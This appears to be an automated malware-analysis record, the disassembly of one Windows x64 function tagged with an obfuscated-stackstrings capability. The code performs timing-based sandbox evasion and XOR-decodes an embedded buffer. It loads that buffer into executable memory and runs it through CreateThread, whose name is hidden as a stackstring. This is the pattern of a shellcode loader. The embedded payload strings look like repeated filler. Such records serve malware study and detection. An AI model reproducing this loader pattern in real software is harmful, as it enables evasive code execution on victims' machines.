Function at 0x14000c414
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rdi
sub rsp, 0xd80
mov rax, qword [0x140023b80]
xor rax, rsp
mov qword [rsp + 0xd78], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x30]
call fcn.14000aff4
mov rcx, rax
call fcn.14000ae74
mov rdx, rax
lea rcx, [rsp + 0xd30]
call fcn.140009680
nop
mov edx, 0x18
lea rcx, [rsp + 0xd18]
call fcn.140013ef0
lea rdx, [rsp + 0xd30]
lea rcx, [rsp + 0xd18]
call fcn.140016210
nop
lea rcx, [rsp + 0xd08]
call fcn.140017274
nop
mov dword [rsp + 0x48], 0xbb8
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xc0]
call fcn.1400010ec
mov rcx, rax
call fcn.140007910
nop
lea rcx, [rsp + 0xd10]
call fcn.140017274
nop
lea r8, [rsp + 0xd08]
lea rdx, [rsp + 0xd10]
lea rcx, [rsp + 0xc8]
call fcn.140001418
mov rdx, rax
lea rcx, [rsp + 0xd00]
call fcn.140007208
nop
lea rcx, [rsp + 0xd00]
call fcn.140004128
mov dword [rsp + 0x4c], eax
mov dword [rsp + 0x50], 0x7f149
mov eax, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140007254]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov al, byte [0x140023b6c]
movsx eax, al
mov dword [rsp + 0x54], eax
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
call fcn.140013edc
movsx eax, al
imul eax, eax, 9
mov dword [rsp + 0x58], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0x58]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14000ca0f
cmp dword [rsp + 0x40], 0x7be73
jle 0x14000c5c8
mov dword [rsp + 0x44], 1
jmp 0x14000c5d0
mov dword [rsp + 0x44], 0
cmp dword [rsp + 0x44], 0x80c93
jge 0x14000c5e8
mov qword [rsp + 0x88], 1
jmp 0x14000c5f4
mov qword [rsp + 0x88], 0
cvtsi2sd xmm0, qword [rsp + 0x88]
call fcn.1400165a0
mov dword [rsp + 0x6c], eax
mov cl, byte [0x140023b6c]
movsx ecx, cl
mov dword [rsp + 0x60], ecx
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
call fcn.140013edc
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x64], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0x64]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x6c]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x14000ca0f
xor eax, eax
cmp eax, 5
je 0x14000ca0f
lea rcx, [rsp + 0xd18]
call fcn.1400182c0
mov qword [rsp + 0xcf0], rax
mov rcx, qword [rsp + 0xcf0]
call fcn.140019a9c
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0xd18]
call fcn.140013d00
mov r8, qword [rsp + 0xcf0]
mov rdx, rax
mov rcx, qword [rsp + 0x90]
call sub.ucrtbase.dll_memcpy
nop
mov dword [rsp + 0x34], 0
jmp 0x14000c6f8
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov al, byte [0x140023b6c]
movsx eax, al
mov dword [rsp + 0x70], eax
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78], eax
call fcn.140013edc
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x74], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0x74]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x78]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.1400165a0
cmp dword [rsp + 0x34], eax
jge 0x14000c7cf
mov qword [rsp + 0x38], 0
jmp 0x14000c783
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0x1191
jae 0x14000c7ca
lea rax, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
mov dl, 0xaa
mov rcx, qword [rsp + 0x38]
mov cl, byte [rax + rcx]
call fcn.140018530
lea rax, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
mov rcx, qword [rsp + 0x38]
movzx eax, byte [rax + rcx]
xor eax, 0xfe
lea rcx, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
mov rdx, qword [rsp + 0x38]
mov byte [rcx + rdx], al
jmp 0x14000c776
jmp 0x14000c6ee
call fcn.140015f80
call fcn.14000c290
mov qword [rsp + 0xcf8], 0
mov dword [rsp + 0x80], 0x1000
mov dword [rsp + 0x7c], 0x40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [rsp + 0x7c]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x80]
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0xcf0]
xor r8d, r8d
lea rdx, [rsp + 0xcf8]
mov rcx, rax
call fcn.1400198c0
mov dword [rsp + 0x98], eax
call fcn.14000ca44
call fcn.140015f80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0xcf0]
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xcf8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov byte [rsp + 0xd50], 0x43
mov byte [rsp + 0xd51], 0x72
mov byte [rsp + 0xd52], 0x65
mov byte [rsp + 0xd53], 0x61
mov byte [rsp + 0xd54], 0x74
mov byte [rsp + 0xd55], 0x65
mov byte [rsp + 0xd56], 0x54
mov byte [rsp + 0xd57], 0x68
mov byte [rsp + 0xd58], 0x72
mov byte [rsp + 0xd59], 0x65
mov byte [rsp + 0xd5a], 0x61
mov byte [rsp + 0xd5b], 0x64
mov byte [rsp + 0xd5c], 0
lea rcx, [0x14001c770]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rsp + 0xd50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa8], rax
call fcn.140015f80
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xcf8]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0xa8]
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0xd60], 0x57
mov byte [rsp + 0xd61], 0x61
mov byte [rsp + 0xd62], 0x69
mov byte [rsp + 0xd63], 0x74
mov byte [rsp + 0xd64], 0x46
mov byte [rsp + 0xd65], 0x6f
mov byte [rsp + 0xd66], 0x72
mov byte [rsp + 0xd67], 0x53
mov byte [rsp + 0xd68], 0x69
mov byte [rsp + 0xd69], 0x6e
mov byte [rsp + 0xd6a], 0x67
mov byte [rsp + 0xd6b], 0x6c
mov byte [rsp + 0xd6c], 0x65
mov byte [rsp + 0xd6d], 0x4f
mov byte [rsp + 0xd6e], 0x62
mov byte [rsp + 0xd6f], 0x6a
mov byte [rsp + 0xd70], 0x65
mov byte [rsp + 0xd71], 0x63
mov byte [rsp + 0xd72], 0x74
mov byte [rsp + 0xd73], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rsp + 0xd60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb8], rax
call fcn.140015f80
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0xb8]
nop
lea rcx, [rsp + 0xd18]
call fcn.14000a638
nop
lea rcx, [rsp + 0xd30]
call fcn.14000a580
nop
mov rcx, qword [rsp + 0xd78]
xor rcx, rsp
call fcn.140019bb0
add rsp, 0xd80
pop rdi
ret